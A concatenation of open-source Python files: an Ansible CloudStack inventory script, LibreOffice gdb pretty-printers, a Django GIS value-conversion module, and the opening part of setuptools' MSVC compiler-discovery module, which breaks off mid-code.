"state": "Running",
"tags": [],
"cpu_speed": 1800,
"affinity_group": [],
"service_offering": "Small",
"cpu_used": "62%"
}
usage: cloudstack.py [--list] [--host HOST] [--project PROJECT]
"""
from __future__ import print_function
import os
import sys
import argparse
try:
import json
except:
import simplejson as json
try:
from cs import CloudStack, CloudStackException, read_config
except ImportError:
print("Error: CloudStack library must be installed: pip install cs.",
file=sys.stderr)
sys.exit(1)
class CloudStackInventory(object):
def __init__(self):
parser = argparse.ArgumentParser()
parser.add_argument('--host')
parser.add_argument('--list', action='store_true')
parser.add_argument('--project')
options = parser.parse_args()
try:
self.cs = CloudStack(**read_config())
except CloudStackException as e:
print("Error: Could not connect to CloudStack API", file=sys.stderr)
project_id = ''
if options.project:
project_id = self.get_project_id(options.project)
if options.host:
data = self.get_host(options.host)
print(json.dumps(data, indent=2))
elif options.list:
data = self.get_list()
print(json.dumps(data, indent=2))
else:
print("usage: --list | --host <hostname> [--project <project>]",
file=sys.stderr)
sys.exit(1)
def get_project_id(self, project):
projects = self.cs.listProjects()
if projects:
for p in projects['project']:
if p['name'] == project or p['id'] == project:
return p['id']
print("Error: Project %s not found." % project, file=sys.stderr)
sys.exit(1)
def get_host(self, name, project_id=''):
hosts = self.cs.listVirtualMachines(projectid=project_id)
data = {}
if not hosts:
return data
for host in hosts['virtualmachine']:
host_name = host['displayname']
if name == host_name:
data['zone'] = host['zonename']
if 'group' in host:
data['group'] = host['group']
data['state'] = host['state']
data['service_offering'] = host['serviceofferingname']
data['affinity_group'] = host['affinitygroup']
data['security_group'] = host['securitygroup']
data['cpu_number'] = host['cpunumber']
data['cpu_speed'] = host['cpuspeed']
if 'cpuused' in host:
data['cpu_used'] = host['cpuused']
data['memory'] = host['memory']
data['tags'] = host['tags']
data['hypervisor'] = host['hypervisor']
data['created'] = host['created']
data['nic'] = []
for nic in host['nic']:
data['nic'].append({
'ip': nic['ipaddress'],
'mac': nic['macaddress'],
'netmask': nic['netmask'],
'gateway': nic['gateway'],
'type': nic['type'],
})
if nic['isdefault']:
data['default_ip'] = nic['ipaddress']
break;
return data
def get_list(self, project_id=''):
data = {
'all': {
'hosts': [],
},
'_meta': {
'hostvars': {},
},
}
groups = self.cs.listInstanceGroups(projectid=project_id)
if groups:
for group in groups['instancegroup']:
group_name = group['name']
if group_name and not group_name in data:
data[group_name] = {
'hosts': []
}
hosts = self.cs.listVirtualMachines(projectid=project_id)
if not hosts:
return data
for host in hosts['virtualmachine']:
host_name = host['displayname']
data['all']['hosts'].append(host_name)
data['_meta']['hostvars'][host_name] = {}
data['_meta']['hostvars'][host_name]['zone'] = host['zonename']
if 'group' in host:
data['_meta']['hostvars'][host_name]['group'] = host['group']
data['_meta']['hostvars'][host_name]['state'] = host['state']
data['_meta']['hostvars'][host_name]['service_offering'] = host['serviceofferingname']
data['_meta']['hostvars'][host_name]['affinity_group'] = host['affinitygroup']
data['_meta']['hostvars'][host_name]['security_group'] = host['securitygroup']
data['_meta']['hostvars'][host_name]['cpu_number'] = host['cpunumber']
data['_meta']['hostvars'][host_name]['cpu_speed'] = host['cpuspeed']
if 'cpuused' in host:
data['_meta']['hostvars'][host_name]['cpu_used'] = host['cpuused']
data['_meta']['hostvars'][host_name]['created'] = host['created']
data['_meta']['hostvars'][host_name]['memory'] = host['memory']
data['_meta']['hostvars'][host_name]['tags'] = host['tags']
data['_meta']['hostvars'][host_name]['hypervisor'] = host['hypervisor']
data['_meta']['hostvars'][host_name]['created'] = host['created']
data['_meta']['hostvars'][host_name]['nic'] = []
for nic in host['nic']:
data['_meta']['hostvars'][host_name]['nic'].append({
'ip': nic['ipaddress'],
'mac': nic['macaddress'],
'netmask': nic['netmask'],
'gateway': nic['gateway'],
'type': nic['type'],
})
if nic['isdefault']:
data['_meta']['hostvars'][host_name]['default_ip'] = nic['ipaddress']
group_name = ''
if 'group' in host:
group_name = host['group']
if group_name and group_name in data:
data[group_name]['hosts'].append(host_name)
return data
if __name__ == '__main__':
CloudStackInventory()
| gpl-3.0 |
sbbic/core | solenv/gdb/libreoffice/basegfx.py | 11 | 5883 | # -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*-
#
# This file is part of the LibreOffice project.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
#
import gdb
import six
from libreoffice.util import printing
class B2DRangePrinter(object):
'''Prints a B2DRange object.'''
def __init__(self, typename, value):
self.typename = typename
self.value = value
# inject children() func dynamically
if not self._isEmpty():
self.children = self._children
def to_string(self):
if self._isEmpty():
return "empty %s" % (self.typename)
else:
return "%s" % (self.typename)
def _isEmpty(self):
return (self.value['maRangeX']['mnMinimum'] > self.value['maRangeX']['mnMaximum']
or self.value['maRangeY']['mnMinimum'] > self.value['maRangeY']['mnMaximum'])
def _children(self):
left = self.value['maRangeX']['mnMinimum']
top = self.value['maRangeY']['mnMinimum']
right = self.value['maRangeX']['mnMaximum']
bottom = self.value['maRangeY']['mnMaximum']
children = [('left', left), ('top', top), ('right', right), ('bottom', bottom)]
return children.__iter__()
class B2DPolygonPrinter(object):
'''Prints a B2DPolygon object.'''
def __init__(self, typename, value):
self.typename = typename
self.value = value
# inject children() func dynamically
if not self._isEmpty():
self.children = self._children
def to_string(self):
if self._isEmpty():
return "empty %s" % (self.typename)
else:
return "%s %s" % ('bezier curve' if self._hasCurves() else 'straight line',
self.typename)
def _count(self):
return int(gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->count()' % self.value.address))
def _isEmpty(self):
return self._count() == 0
def _hasCurves(self):
return int(gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->areControlPointsUsed()' % self.value.address)) != 0
def _children(self):
if self._hasCurves():
return self._bezierIterator(self._count(), self.value)
else:
return self._plainIterator(self._count(), self.value)
class _plainIterator(six.Iterator):
def __init__(self, count, value):
self.count = count
self.value = value
self.index = 0
def __iter__(self):
return self
def __next__(self):
if self.index >= self.count:
raise StopIteration()
currPoint = gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->getB2DPoint(%d)' % (
self.value.address, self.index))
currPoint = gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->getB2DPoint(%d)' % (
self.value.address, self.index))
self.index += 1
return ('point %d' % (self.index-1),
'(%15f, %15f)' % (currPoint['mfX'], currPoint['mfY']))
class _bezierIterator(six.Iterator):
def __init__(self, count, value):
self.count = count
self.value = value
self.index = 0
def __iter__(self):
return self
def __next__(self):
if self.index >= self.count:
raise StopIteration()
currPoint = gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->getB2DPoint(%d)' % (
self.value.address, self.index))
prevControl = gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->getPrevControlPoint(%d)' % (
self.value.address, self.index))
nextControl = gdb.parse_and_eval(
'((basegfx::B2DPolygon*)%d)->getNextControlPoint(%d)' % (
self.value.address, self.index))
self.index += 1
return ('point %d' % (self.index-1),
'p: (%15f, %15f) c-1: (%15f, %15f) c1: (%15f, %15f)' %
(currPoint['mfX'], currPoint['mfY'],
prevControl['mfX'], prevControl['mfY'],
nextControl['mfX'], nextControl['mfY']))
class B2DPolyPolygonPrinter(object):
'''Prints a B2DPolyPolygon object.'''
def __init__(self, typename, value):
self.typename = typename
self.value = value
def to_string(self):
if self._isEmpty():
return "empty %s" % (self.typename)
else:
return "%s %s with %d sub-polygon(s)" % ('closed' if self._isClosed() else 'open',
self.typename,
self._count())
def _count(self):
return int(gdb.parse_and_eval(
'((basegfx::B2DPolyPolygon*)%d)->count()' % self.value.address))
def _isClosed(self):
return int(gdb.parse_and_eval(
'((basegfx::B2DPolyPolygon*)%d)->isClosed()' % self.value.address)) != 0
def _isEmpty(self):
return self._count() == 0
printer = None
def build_pretty_printers():
global printer
printer = printing.Printer('libreoffice/basegfx')
# basic types
printer.add('basegfx::B2DRange', B2DRangePrinter)
printer.add('basegfx::B2DPolygon', B2DPolygonPrinter)
printer.add('basegfx::B2DPolyPolygon', B2DPolyPolygonPrinter)
def register_pretty_printers(obj):
printing.register_pretty_printer(printer, obj)
build_pretty_printers()
# vim:set shiftwidth=4 softtabstop=4 expandtab:
| gpl-3.0 |
egoid/baytree | lib/python2.7/site-packages/django/contrib/gis/db/models/sql/conversion.py | 123 | 2475 | """
This module holds simple classes to convert geospatial values from the
database.
"""
from __future__ import unicode_literals
from decimal import Decimal
from django.contrib.gis.db.models.fields import GeoSelectFormatMixin
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Area, Distance
class BaseField(object):
empty_strings_allowed = True
def get_db_converters(self, connection):
return [self.from_db_value]
def select_format(self, compiler, sql, params):
return sql, params
class AreaField(BaseField):
"Wrapper for Area values."
def __init__(self, area_att=None):
self.area_att = area_att
def from_db_value(self, value, expression, connection, context):
if connection.features.interprets_empty_strings_as_nulls and value == '':
value = None
# If the database returns a Decimal, convert it to a float as expected
# by the Python geometric objects.
if isinstance(value, Decimal):
value = float(value)
# If the units are known, convert value into area measure.
if value is not None and self.area_att:
value = Area(**{self.area_att: value})
return value
def get_internal_type(self):
return 'AreaField'
class DistanceField(BaseField):
"Wrapper for Distance values."
def __init__(self, distance_att):
self.distance_att = distance_att
def from_db_value(self, value, expression, connection, context):
if value is not None:
value = Distance(**{self.distance_att: value})
return value
def get_internal_type(self):
return 'DistanceField'
class GeomField(GeoSelectFormatMixin, BaseField):
"""
Wrapper for Geometry values. It is a lightweight alternative to
using GeometryField (which requires an SQL query upon instantiation).
"""
# Hacky marker for get_db_converters()
geom_type = None
def from_db_value(self, value, expression, connection, context):
if value is not None:
value = Geometry(value)
return value
def get_internal_type(self):
return 'GeometryField'
class GMLField(BaseField):
"""
Wrapper for GML to be used by Oracle to ensure Database.LOB conversion.
"""
def get_internal_type(self):
return 'GMLField'
def from_db_value(self, value, expression, connection, context):
return value
| mit |
tecwebjoao/TecWeb-TF-2T-B-SI | venv/Lib/site-packages/setuptools/msvc.py | 76 | 40884 | """
Improved support for Microsoft Visual C++ compilers.
Known supported compilers:
--------------------------
Microsoft Visual C++ 9.0:
Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)
Microsoft Windows SDK 6.1 (x86, x64, ia64)
Microsoft Windows SDK 7.0 (x86, x64, ia64)
Microsoft Visual C++ 10.0:
Microsoft Windows SDK 7.1 (x86, x64, ia64)
Microsoft Visual C++ 14.0:
Microsoft Visual C++ Build Tools 2015 (x86, x64, arm)
Microsoft Visual Studio 2017 (x86, x64, arm, arm64)
Microsoft Visual Studio Build Tools 2017 (x86, x64, arm, arm64)
"""
import os
import sys
import platform
import itertools
import distutils.errors
from pkg_resources.extern.packaging.version import LegacyVersion
from setuptools.extern.six.moves import filterfalse
from .monkey import get_unpatched
if platform.system() == 'Windows':
from setuptools.extern.six.moves import winreg
safe_env = os.environ
else:
"""
Mock winreg and environ so the module can be imported
on this platform.
"""
class winreg:
HKEY_USERS = None
HKEY_CURRENT_USER = None
HKEY_LOCAL_MACHINE = None
HKEY_CLASSES_ROOT = None
safe_env = dict()
_msvc9_suppress_errors = (
# msvc9compiler isn't available on some platforms
ImportError,
# msvc9compiler raises DistutilsPlatformError in some
# environments. See #1118.
distutils.errors.DistutilsPlatformError,
)
try:
from distutils.msvc9compiler import Reg
except _msvc9_suppress_errors:
pass
def msvc9_find_vcvarsall(version):
"""
Patched "distutils.msvc9compiler.find_vcvarsall" to use the standalone
compiler build for Python (VCForPython). Fall back to original behavior
when the standalone compiler is not available.
Redirect the path of "vcvarsall.bat".
Known supported compilers
-------------------------
Microsoft Visual C++ 9.0:
Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)
Parameters
----------
version: float
Required Microsoft Visual C++ version.
Return
------
vcvarsall.bat path: str
"""
VC_BASE = r'Software\%sMicrosoft\DevDiv\VCForPython\%0.1f'
key = VC_BASE % ('', version)
try:
# Per-user installs register the compiler path here
productdir = Reg.get_value(key, "installdir")
except KeyError:
try:
# All-user installs on a 64-bit system register here
key = VC_BASE % ('Wow6432Node\\', version)
productdir = Reg.get_value(key, "installdir")
except KeyError:
productdir = None
if productdir:
vcvarsall = os.path.os.path.join(productdir, "vcvarsall.bat")
if os.path.isfile(vcvarsall):
return vcvarsall
return get_unpatched(msvc9_find_vcvarsall)(version)
def msvc9_query_vcvarsall(ver, arch='x86', *args, **kwargs):
"""
Patched "distutils.msvc9compiler.query_vcvarsall" for support extra
compilers.
Set environment without use of "vcvarsall.bat".
Known supported compilers
-------------------------
Microsoft Visual C++ 9.0:
Microsoft Visual C++ Compiler for Python 2.7 (x86, amd64)
Microsoft Windows SDK 6.1 (x86, x64, ia64)
Microsoft Windows SDK 7.0 (x86, x64, ia64)
Microsoft Visual C++ 10.0:
Microsoft Windows SDK 7.1 (x86, x64, ia64)
Parameters
----------
ver: float
Required Microsoft Visual C++ version.
arch: str
Target architecture.
Return
------
environment: dict
"""
# Try to get environement from vcvarsall.bat (Classical way)
try:
orig = get_unpatched(msvc9_query_vcvarsall)
return orig(ver, arch, *args, **kwargs)
except distutils.errors.DistutilsPlatformError:
# Pass error if Vcvarsall.bat is missing
pass
except ValueError:
# Pass error if environment not set after executing vcvarsall.bat
pass
# If error, try to set environment directly
try:
return EnvironmentInfo(arch, ver).return_env()
except distutils.errors.DistutilsPlatformError as exc:
_augment_exception(exc, ver, arch)
raise
def msvc14_get_vc_env(plat_spec):
"""
Patched "distutils._msvccompiler._get_vc_env" for support extra
compilers.
Set environment without use of "vcvarsall.bat".
Known supported compilers
-------------------------
Microsoft Visual C++ 14.0:
Microsoft Visual C++ Build Tools 2015 (x86, x64, arm)
Microsoft Visual Studio 2017 (x86, x64, arm, arm64)
Microsoft Visual Studio Build Tools 2017 (x86, x64, arm, arm64)
Parameters
----------
plat_spec: str
Target architecture.
Return
------
environment: dict
"""
# Try to get environment from vcvarsall.bat (Classical way)
try:
return get_unpatched(msvc14_get_vc_env)(plat_spec)
except distutils.errors.DistutilsPlatformError:
# Pass error Vcvarsall.bat is missing
pass
# If error, try to set environment directly
try:
return EnvironmentInfo(plat_spec, vc_min_ver=14.0).return_env()
except distutils.errors.DistutilsPlatformError as exc:
_augment_exception(exc, 14.0)
raise
def msvc14_gen_lib_options(*args, **kwargs):
"""
Patched "distutils._msvccompiler.gen_lib_options" for fix
compatibility between "numpy.distutils" and "distutils._msvccompiler"
(for Numpy < 1.11.2)
"""
if "numpy.distutils" in sys.modules:
import numpy as np
if LegacyVersion(np.__version__) < LegacyVersion('1.11.2'):
return np.distutils.ccompiler.gen_lib_options(*args, **kwargs)
return get_unpatched(msvc14_gen_lib_options)(*args, **kwargs)
def _augment_exception(exc, version, arch=''):
"""
Add details to the exception message to help guide the user
as to what action will resolve it.
"""
# Error if MSVC++ directory not found or environment not set
message = exc.args[0]
if "vcvarsall" in message.lower() or "visual c" in message.lower():
# Special error message if MSVC++ not installed
tmpl = 'Microsoft Visual C++ {version:0.1f} is required.'
message = tmpl.format(**locals())
msdownload = 'www.microsoft.com/download/details.aspx?id=%d'
if version == 9.0:
if arch.lower().find('ia64') > -1:
# For VC++ 9.0, if IA64 support is needed, redirect user
# to Windows SDK 7.0
message += ' Get it with "Microsoft Windows SDK 7.0": '
message += msdownload % 3138
else:
# For VC++ 9.0 redirect user to Vc++ for Python 2.7 :
# This redirection link is maintained by Microsoft.
# Contact vspython@microsoft.com if it needs updating.
message += ' Get it from http://aka.ms/vcpython27'
elif version == 10.0:
# For VC++ 10.0 Redirect user to Windows SDK 7.1
message += ' Get it with "Microsoft Windows SDK 7.1": '
message += msdownload % 8279
elif version >= 14.0:
# For VC++ 14.0 Redirect user to Visual C++ Build Tools
message += (' Get it with "Microsoft Visual C++ Build Tools": '
r'http://landinghub.visualstudio.com/'
'visual-cpp-build-tools')
exc.args = (message, )
class PlatformInfo:
"""
Current and Target Architectures informations.
Parameters
----------
arch: str
Target architecture.
"""
current_cpu = safe_env.get('processor_architecture', '').lower()
def __init__(self, arch):
self.arch = arch.lower().replace('x64', 'amd64')
@property
def target_cpu(self):
return self.arch[self.arch.find('_') + 1:]
def target_is_x86(self):
return self.target_cpu == 'x86'
def current_is_x86(self):
return self.current_cpu == 'x86'
def current_dir(self, hidex86=False, x64=False):
"""
Current platform specific subfolder.
Parameters
----------
hidex86: bool
return '' and not '\x86' if architecture is x86.
x64: bool
return '\x64' and not '\amd64' if architecture is amd64.
Return
------
subfolder: str
'\target', or '' (see hidex86 parameter)
"""
return (
'' if (self.current_cpu == 'x86' and hidex86) else
r'\x64' if (self.current_cpu == 'amd64' and x64) else
r'\%s' % self.current_cpu
)
def target_dir(self, hidex86=False, x64=False):
r"""
Target platform specific subfolder.
Parameters
----------
hidex86: bool
return '' and not '\x86' if architecture is x86.
x64: bool
return '\x64' and not '\amd64' if architecture is amd64.
Return
------
subfolder: str
'\current', or '' (see hidex86 parameter)
"""
return (
'' if (self.target_cpu == 'x86' and hidex86) else
r'\x64' if (self.target_cpu == 'amd64' and x64) else
r'\%s' % self.target_cpu
)
def cross_dir(self, forcex86=False):
r"""
Cross platform specific subfolder.
Parameters
----------
forcex86: bool
Use 'x86' as current architecture even if current acritecture is
not x86.
Return
------
subfolder: str
'' if target architecture is current architecture,
'\current_target' if not.
"""
current = 'x86' if forcex86 else self.current_cpu
return (
'' if self.target_cpu == current else
self.target_dir().replace('\\', '\\%s_' % current)
)
class RegistryInfo:
"""
Microsoft Visual Studio related registry informations.
Parameters
----------
platform_info: PlatformInfo
"PlatformInfo" instance.
"""
HKEYS = (winreg.HKEY_USERS,
winreg.HKEY_CURRENT_USER,
winreg.HKEY_LOCAL_MACHINE,
winreg.HKEY_CLASSES_ROOT)
def __init__(self, platform_info):
self.pi = platform_info
@property
def visualstudio(self):
"""
Microsoft Visual Studio root registry key.
"""
return 'VisualStudio'
@property
def sxs(self):
"""
Microsoft Visual Studio SxS registry key.
"""
return os.path.join(self.visualstudio, 'SxS')
@property
def vc(self):
"""
Microsoft Visual C++ VC7 registry key.
"""
return os.path.join(self.sxs, 'VC7')
@property
def vs(self):
"""
Microsoft Visual Studio VS7 registry key.
"""
return os.path.join(self.sxs, 'VS7')
@property
def vc_for_python(self):
"""
Microsoft Visual C++ for Python registry key.
"""
return r'DevDiv\VCForPython'
@property
def microsoft_sdk(self):
"""
Microsoft SDK registry key.
"""
return 'Microsoft SDKs'
@property
def windows_sdk(self):
"""
Microsoft Windows/Platform SDK registry key.
"""
return os.path.join(self.microsoft_sdk, 'Windows')
@property
def netfx_sdk(self):
"""
Microsoft .NET Framework SDK registry key.
"""
return os.path.join(self.microsoft_sdk, 'NETFXSDK')
@property
def windows_kits_roots(self):
"""
Microsoft Windows Kits Roots registry key.
"""
return r'Windows Kits\Installed Roots'
def microsoft(self, key, x86=False):
"""
Return key in Microsoft software registry.
Parameters
----------
key: str
Registry key path where look.
x86: str
Force x86 software registry.
Return
------
str: value
"""
node64 = '' if self.pi.current_is_x86() or x86 else 'Wow6432Node'
return os.path.join('Software', node64, 'Microsoft', key)
def lookup(self, key, name):
"""
Look for values in registry in Microsoft software registry.
Parameters
----------
key: str
Registry key path where look.
name: str
Value name to find.
Return
------
str: value
"""
KEY_READ = winreg.KEY_READ
openkey = winreg.OpenKey
ms = self.microsoft
for hkey in self.HKEYS:
try:
bkey = openkey(hkey, ms(key), 0, KEY_READ)
except (OSError, IOError):
if not self.pi.current_is_x86():
try:
bkey = openkey(hkey, ms(key, True), 0, KEY_READ)
except (OSError, IOError):
continue
else:
continue
try:
return winreg.QueryValueEx(bkey, name)[0]
except (OSError, IOError):
pass
class SystemInfo:
"""
Microsoft Windows and Visual Studio related system inormations.
Parameters
----------
registry_info: RegistryInfo
"RegistryInfo" instance.
vc_ver: float
Required Microsoft Visual C++ version.
"""
# Variables and properties in this class use originals CamelCase variables
# names from Microsoft source files for more easy comparaison.
WinDir = safe_env.get('WinDir', '')
ProgramFiles = safe_env.get('ProgramFiles', '')
ProgramFilesx86 = safe_env.get('ProgramFiles(x86)', ProgramFiles)
def __init__(self, registry_info, vc_ver=None):
self.ri = registry_info
self.pi = self.ri.pi
self.vc_ver = vc_ver or self._find_latest_available_vc_ver()
def _find_latest_available_vc_ver(self):
try:
return self.find_available_vc_vers()[-1]
except IndexError:
err = 'No Microsoft Visual C++ version found'
raise distutils.errors.DistutilsPlatformError(err)
def find_available_vc_vers(self):
"""
Find all available Microsoft Visual C++ versions.
"""
ms = self.ri.microsoft
vckeys = (self.ri.vc, self.ri.vc_for_python, self.ri.vs)
vc_vers = []
for hkey in self.ri.HKEYS:
for key in vckeys:
try:
bkey = winreg.OpenKey(hkey, ms(key), 0, winreg.KEY_READ)
except (OSError, IOError):
continue
subkeys, values, _ = winreg.QueryInfoKey(bkey)
for i in range(values):
try:
ver = float(winreg.EnumValue(bkey, i)[0])
if ver not in vc_vers:
vc_vers.append(ver)
except ValueError:
pass
for i in range(subkeys):
try:
ver = float(winreg.EnumKey(bkey, i))
if ver not in vc_vers:
vc_vers.append(ver)
except ValueError:
pass
return sorted(vc_vers)
@property
def VSInstallDir(self):
"""
Microsoft Visual Studio directory.
"""
# Default path
name = 'Microsoft Visual Studio %0.1f' % self.vc_ver
default = os.path.join(self.ProgramFilesx86, name)
# Try to get path from registry, if fail use default path
return self.ri.lookup(self.ri.vs, '%0.1f' % self.vc_ver) or default
@property
def VCInstallDir(self):
"""
Microsoft Visual C++ directory.
"""
self.VSInstallDir
guess_vc = self._guess_vc() or self._guess_vc_legacy()
# Try to get "VC++ for Python" path from registry as default path
reg_path = os.path.join(self.ri.vc_for_python, '%0.1f' % self.vc_ver)
python_vc = self.ri.lookup(reg_path, 'installdir')
default_vc = os.path.join(python_vc, 'VC') if python_vc else guess_vc
# Try to get path from registry, if fail use default path
path = self.ri.lookup(self.ri.vc, '%0.1f' % self.vc_ver) or default_vc
if not os.path.isdir(path):
msg = 'Microsoft Visual C++ directory not found'
raise distutils.errors.DistutilsPlatformError(msg)
return path
def _guess_vc(self):
"""
Locate Visual C for 2017
"""
if self.vc_ver <= 14.0:
return
default = r'VC\Tools\MSVC'
guess_vc = os.path.join(self.VSInstallDir, default)
# Subdir with VC exact version as name
try:
vc_exact_ver = os.listdir(guess_vc)[-1]
return os.path.join(guess_vc, vc_exact_ver)
except (OSError, IOError, IndexError):
pass
def _guess_vc_legacy(self):
"""
Locate Visual C for versions prior to 2017
"""
default = r'Microsoft Visual Studio %0.1f\VC' % self.vc_ver
return os.path.join(self.ProgramFilesx86, default)
@property
def WindowsSdkVersion(self):
"""
Microsoft Windows SDK versions for specified MSVC++ version.
"""
if self.vc_ver <= 9.0:
return ('7.0', '6.1', '6.0a')
elif self.vc_ver == 10.0:
return ('7.1', '7.0a')
elif self.vc_ver == 11.0:
return ('8.0', '8.0a')
elif self.vc_ver == 12.0:
return ('8.1', '8.1a')
elif self.vc_ver >= 14.0:
return ('10.0', '8.1')
@property
def WindowsSdkLastVersion(self):
"""
Microsoft Windows SDK last version
"""
return self._use_last_dir_name(os.path.join(
self.WindowsSdkDir, 'lib'))
@property
def WindowsSdkDir(self):
"""
Microsoft Windows SDK directory.
"""
sdkdir = ''
for ver in self.WindowsSdkVersion:
# Try to get it from registry
loc = os.path.join(self.ri.windows_sdk, 'v%s' % ver)
sdkdir = self.ri.lookup(loc, 'installationfolder')
if sdkdir:
break
if not sdkdir or not os.path.isdir(sdkdir):
# Try to get "VC++ for Python" version from registry
path = os.path.join(self.ri.vc_for_python, '%0.1f' % self.vc_ver)
install_base = self.ri.lookup(path, 'installdir')
if install_base:
sdkdir = os.path.join(install_base, 'WinSDK')
if not sdkdir or not os.path.isdir(sdkdir):
# If fail, use default new path
for ver in self.WindowsSdkVersion:
intver = ver[:ver.rfind('.')]
path = r'Microsoft SDKs\Windows Kits\%s' % (intver)
d = os.path.join(self.ProgramFiles, path)
if os.path.isdir(d):
sdkdir = d
if not sdkdir or not os.path.isdir(sdkdir):
# If fail, use default old path
for ver in self.WindowsSdkVersion:
path = r'Microsoft SDKs\Windows\v%s' % ver
d = os.path.join(self.ProgramFiles, path)
if os.path.isdir(d):
sdkdir = d
if not sdkdir:
# If fail, use Platform SDK
sdkdir = os.path.join(self.VCInstallDir, 'PlatformSDK')
return sdkdir
@property
def WindowsSDKExecutablePath(self):
"""
Microsoft Windows SDK executable directory.
"""
# Find WinSDK NetFx Tools registry dir name
if self.vc_ver <= 11.0:
netfxver = 35
arch = ''
else:
netfxver = 40
hidex86 = True if self.vc_ver <= 12.0 else False
arch = self.pi.current_dir(x64=True, hidex86=hidex86)
fx = 'WinSDK-NetFx%dTools%s' % (netfxver, arch.replace('\\', '-'))
# liste all possibles registry paths
regpaths = []
if self.vc_ver >= 14.0:
for ver in self.NetFxSdkVersion:
regpaths += [os.path.join(self.ri.netfx_sdk, ver, fx)]
for ver in self.WindowsSdkVersion:
regpaths += [os.path.join(self.ri.windows_sdk, 'v%sA' % ver, fx)]
# Return installation folder from the more recent path
for path in regpaths:
execpath = self.ri.lookup(path, 'installationfolder')
if execpath:
break
return execpath
@property
def FSharpInstallDir(self):
"""
Microsoft Visual F# directory.
"""
path = r'%0.1f\Setup\F#' % self.vc_ver
path = os.path.join(self.ri.visualstudio, path)
return self.ri.lookup(path, 'productdir') or ''
@property
def UniversalCRTSdkDir(self):
"""
Microsoft Universal CRT SDK directory.
"""
# Set Kit Roots versions for specified MSVC++ version
if self.vc_ver >= 14.0:
vers = ('10', '81')
else:
vers = ()
# Find path of the more recent Kit
for ver in vers:
sdkdir = self.ri.lookup(self.ri.windows_kits_roots,
'kitsroot%s' % ver)
if sdkdir:
break
return sdkdir or ''
@property
def UniversalCRTSdkLastVersion(self):
"""
Microsoft Universal C Runtime SDK last version
"""
return self._use_last_dir_name(os.path.join(
self.UniversalCRTSdkDir, 'lib'))
@property
def NetFxSdkVersion(self):
"""
Microsoft .NET Framework SDK versions.
"""
# Set FxSdk versions for specified MSVC++ version
if self.vc_ver >= 14.0:
return ('4.6.1', '4.6')
else:
return ()
@property
def NetFxSdkDir(self):
"""
Microsoft .NET Framework SDK directory.
"""
for ver in self.NetFxSdkVersion:
loc = os.path.join(self.ri.netfx_sdk, ver)
sdkdir = self.ri.lookup(loc, 'kitsinstallationfolder')
if sdkdir:
break
return sdkdir or ''
@property
def FrameworkDir32(self):
"""
Microsoft .NET Framework 32bit directory.
"""
# Default path
guess_fw = os.path.join(self.WinDir, r'Microsoft.NET\Framework')
# Try to get path from registry, if fail use default path
return self.ri.lookup(self.ri.vc, 'frameworkdir32') or guess_fw
@property
def FrameworkDir64(self):
"""
Microsoft .NET Framework 64bit directory.
"""
# Default path
guess_fw = os.path.join(self.WinDir, r'Microsoft.NET\Framework64')
# Try to get path from registry, if fail use default path
return self.ri.lookup(self.ri.vc, 'frameworkdir64') or guess_fw
@property
def FrameworkVersion32(self):
"""
Microsoft .NET Framework 32bit versions.
"""
return self._find_dot_net_versions(32)
@property
def FrameworkVersion64(self):
"""
Microsoft .NET Framework 64bit versions.
"""
return self._find_dot_net_versions(64)
def _find_dot_net_versions(self, bits):
"""
Find Microsoft .NET Framework versions.
Parameters
----------
bits: int
Platform number of bits: 32 or 64.
"""
# Find actual .NET version in registry
reg_ver = self.ri.lookup(self.ri.vc, 'frameworkver%d' % bits)
dot_net_dir = getattr(self, 'FrameworkDir%d' % bits)
ver = reg_ver or self._use_last_dir_name(dot_net_dir, 'v') or ''
# Set .NET versions for specified MSVC++ version
if self.vc_ver >= 12.0:
frameworkver = (ver, 'v4.0')
elif self.vc_ver >= 10.0:
frameworkver = ('v4.0.30319' if ver.lower()[:2] != 'v4' else ver,
'v3.5')
elif self.vc_ver == 9.0:
frameworkver = ('v3.5', 'v2.0.50727')
if self.vc_ver == 8.0:
frameworkver = ('v3.0', 'v2.0.50727')
return frameworkver
def _use_last_dir_name(self, path, prefix=''):
"""
Return name of the last dir in path or '' if no dir found.
Parameters
----------
path: str
Use dirs in this path
prefix: str
Use only dirs startings by this prefix
"""
matching_dirs = (
dir_name
for dir_name in reversed(os.listdir(path))
if os.path.isdir(os.path.join(path, dir_name)) and
dir_name.startswith(prefix)
)
return next(matching_dirs, None) or ''
class EnvironmentInfo:
"""
Return environment variables for specified Microsoft Visual C++ version
and platform : Lib, Include, Path and libpath.
This function is compatible with Microsoft Visual C++ 9.0 to 14.0.
Script created by analysing Microsoft environment configuration files like
"vcvars[...].bat", "SetEnv.Cmd", "vcbuildtools.bat", ...
Parameters
----------
arch: str
Target architecture.
vc_ver: float
Required Microsoft Visual C++ version. If not set, autodetect the last
version.
vc_min_ver: float
Minimum Microsoft Visual C++ version.
"""
# Variables and properties in this class use originals CamelCase variables
# names from Microsoft source files for more easy comparaison.
def __init__(self, arch, vc_ver=None, vc_min_ver=0):
self.pi = PlatformInfo(arch)
self.ri = RegistryInfo(self.pi)
self.si = SystemInfo(self.ri, vc_ver)
if self.vc_ver < vc_min_ver:
err = 'No suitable Microsoft Visual C++ version found'
raise distutils.errors.DistutilsPlatformError(err)
@property
def vc_ver(self):
"""
Microsoft Visual C++ version.
"""
return self.si.vc_ver
@property
def VSTools(self):
"""
Microsoft Visual Studio Tools
"""
paths = [r'Common7\IDE', r'Common7\Tools']
if self.vc_ver >= 14.0:
arch_subdir = self.pi.current_dir(hidex86=True, x64=True)
paths += [r'Common7\IDE\CommonExtensions\Microsoft\TestWindow']
paths += [r'Team Tools\Performance Tools']
paths += [r'Team Tools\Performance Tools%s' % arch_subdir]
return [os.path.join(self.si.VSInstallDir, path) for path in paths]
@property
def VCIncludes(self):
"""
Microsoft Visual C++ & Microsoft Foundation Class Includes
"""
return [os.path.join(self.si.VCInstallDir, 'Include'),
